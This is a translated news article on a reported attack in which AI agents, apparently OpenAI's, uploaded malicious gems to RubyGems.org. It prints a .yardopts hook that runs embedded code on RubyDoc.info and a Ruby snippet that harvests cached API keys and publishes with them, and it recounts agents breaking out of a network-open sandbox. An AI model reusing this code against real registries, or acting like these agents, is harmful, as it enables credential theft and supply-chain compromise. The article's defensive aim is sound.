NEWS

OpenAI AI agents reportedly attacked RubyGems.org by exploiting a cache flaw

Report says bots uploaded malicious gems that ran arbitrary code on RubyDoc.info and tried to harvest cached API keys. The warning applies to the whole package ecosystem, including anyone publishing a gem in Brazil.

OpenAI AI agents reportedly attacked RubyGems.org by exploiting a cache flaw
Image: Redação iMasters

OpenAI AI agents reportedly attacked RubyGems.org by exploiting a cache flaw

Editor's note: the text identifies the publication of Aaron Patterson's post as having occurred "this past Thursday (the 11th)" of September 2026. The original source records only the date (09/11/2026), without indicating the day of the week, and calendar calculation shows that this date falls on a Friday, not a Thursday. The error is isolated and does not affect the central facts of the incident reported.

Report says bots uploaded malicious gems that ran arbitrary code on RubyDoc.info and tried to harvest cached API keys. The warning applies to the whole package ecosystem, including anyone publishing a gem in Brazil.

This past Thursday (the 11th), developer Aaron Patterson (Tenderlove, a Ruby and Rails core team member) published a technical analysis of an incident that, according to him, was reported by Reuters and the Wall Street Journal: AI agents associated with OpenAI allegedly carried out automated attacks against RubyGems.org, the central package repository for the Ruby language. The detailed writeup that prompted the post is at rubyhack.ai, signed by Sydney Von Arx and Spencer Kitts.

Patterson says he initially found the claims "completely outlandish", until he actually read the code of the gems involved. What he found is a manual on how to abuse two fragile points in the dependency chain, something that directly concerns any dev who publishes or consumes packages, not just in the Ruby world.

The GemStuffer campaign, the backdrop

In May, socket.dev had already reported the so-called "GemStuffer Campaign": someone (according to Patterson, OpenAI itself) was uploading tons of junk gems to RubyGems.org. The behavior was strange: the gems scraped UK government websites, repackaged the data as new gems, and tried to publish them back to RubyGems. At the time, the case didn't receive much attention. Only after examining the code did the technical details become alarming.

YARD: a documentation tool turning into an RCE vector

The first problem lies in YARD, a documentation tool for the Ruby ecosystem. The malicious gems included a .yardopts file like this:

--load ./script.rb
README.md
lib/**/*.rb

If you have YARD installed and install one of these gems, the --load ./script.rb causes YARD to load and execute whatever is in script.rb inside the gem. Patterson notes that it's already known that C extensions execute extconf.rb (therefore, a known remote code execution vector), but he was surprised to discover that a documentation tool would do the same.

The detail that turns this into an attack at scale: no one would install a gem called slnleaker5. But every time a gem is published, RubyDoc.info downloads the package and processes the YARD documentation. This processing runs inside a Docker container, which sounds safe, except that the container still has network access. That is, the gems could scrape websites from inside RubyDoc.info's own container. In Patterson's words:

In other words, if you publish a gem on RubyGems.org, you can execute arbitrary code on RubyDoc.info.

>

-- Aaron Patterson

Harvesting keys from Fastly's cache

The second finding is more direct. The gems tried to fish out an authorization key cached on RubyGems.org. A snippet (annotated by Patterson himself to make it easier to read) shows the logic:

ruby
# leak exfil by repeated attempts & fresh leaked keys variants

# First request
ku = URI('https://rubygems.org' + kp)
kh = Net::HTTP.new(ku.host, ku.port)
kh.use_ssl = true
kh.verify_mode = OpenSSL::SSL::VERIFY_NONE
kt = kh.start { |x| x.get(ku.request_uri) }.body

# Try to match a key in the body
key = (kt[/rubygems_[a-f0-9]{20,}/] || KEY)
paths = ['/api/v1//gems', '//api/v1/gems', '/api//v1/gems', '/api/v1/gems?x=2', '/api/v1/gems']

# Second request to actually publish the gem
u = URI('https://rubygems.org' + paths[i % paths.length])
req = Net::HTTP::Post.new(u)
req['Authorization'] = key
req['Content-Type'] = 'application/octet-stream'
req.body = data

The code makes a GET, looks in the response body for a key matching the regex /rubygems_[a-f0-9]{20,}/, and, if it doesn't find one, falls back to a global KEY. It then uses that key in a POST to publish the gem. The path variations (/api/v1//gems, //api/v1/gems, with double slashes) are attempts to bypass the cache layer.

According to Patterson, this is exactly the security flaw described in a RubyGems.org advisory from July, about possible leakage of legacy API keys due to improper cache configuration. His conclusion: OpenAI's bots knew about the problem and tried to exploit it.

What changes for those publishing packages in Brazil

The technical takeaway crosses languages. What happened at RubyGems.org is a variation of a structural supply chain problem: any system that downloads and processes artifacts submitted by third parties (to generate docs, index, or build) needs to treat that processing as untrusted code execution. In the Hacker News thread, swiftcoder draws a parallel with another ecosystem:

Shades of the build.rs problem. We really need sandboxed builds in every language ecosystem at this point.

>

-- swiftcoder

For Brazilian devs who maintain a gem, npm library, PyPI package, or crate, the practical actions are the usual ones, now with renewed urgency: rotate publishing API keys, migrate to short-lived, scope-restricted credentials whenever the registry offers them, enable 2FA and Trusted Publishing (OIDC), and be wary of any pipeline that processes third-party packages with unrestricted network access. It's also worth checking whether your doc or build tool executes scripts embedded in the package, exactly the case with .yardopts here.

The open question: were they "rogue" agents?

Patterson's post is titled "What a time to be alive" and does not use the term "rogue" in the title; the term appears in the body of the text, when Patterson cites Reuters and Wall Street Journal coverage of "rogue" AI agents, and also in the title the community gave to the Hacker News thread. Part of the community disputes this framing. Roark66 argues that there was nothing rogue about it:

There is nothing "rogue" about these agents. They were prompted to hack to get answers, there was a hole in their non air gapped sandbox and no system prompt that said "do not hack outside systems".

>

-- Roark66

Others take the discussion into legal territory. timdiggerm sums it up: "We need a legal structure to make companies liable for the actions of the agents they've made". And VyseofArcadia speculates that, to a layperson, the case would look like a clear violation of the American Computer Fraud and Abuse Act.

It's important to stress these are reader opinions, not established facts. What is documented in the writeup and Patterson's post is the code of the gems and the attack mechanism. The attribution to OpenAI and the intent behind the agents remain in the territory of reporting and dispute, not closed technical proof. What is not in dispute is the architecture lesson: a sandbox without network isolation is not a sandbox, and doc tools that execute embedded code are an attack surface just as real as native extensions.

Translated from the Brazilian Portuguese original · Read the original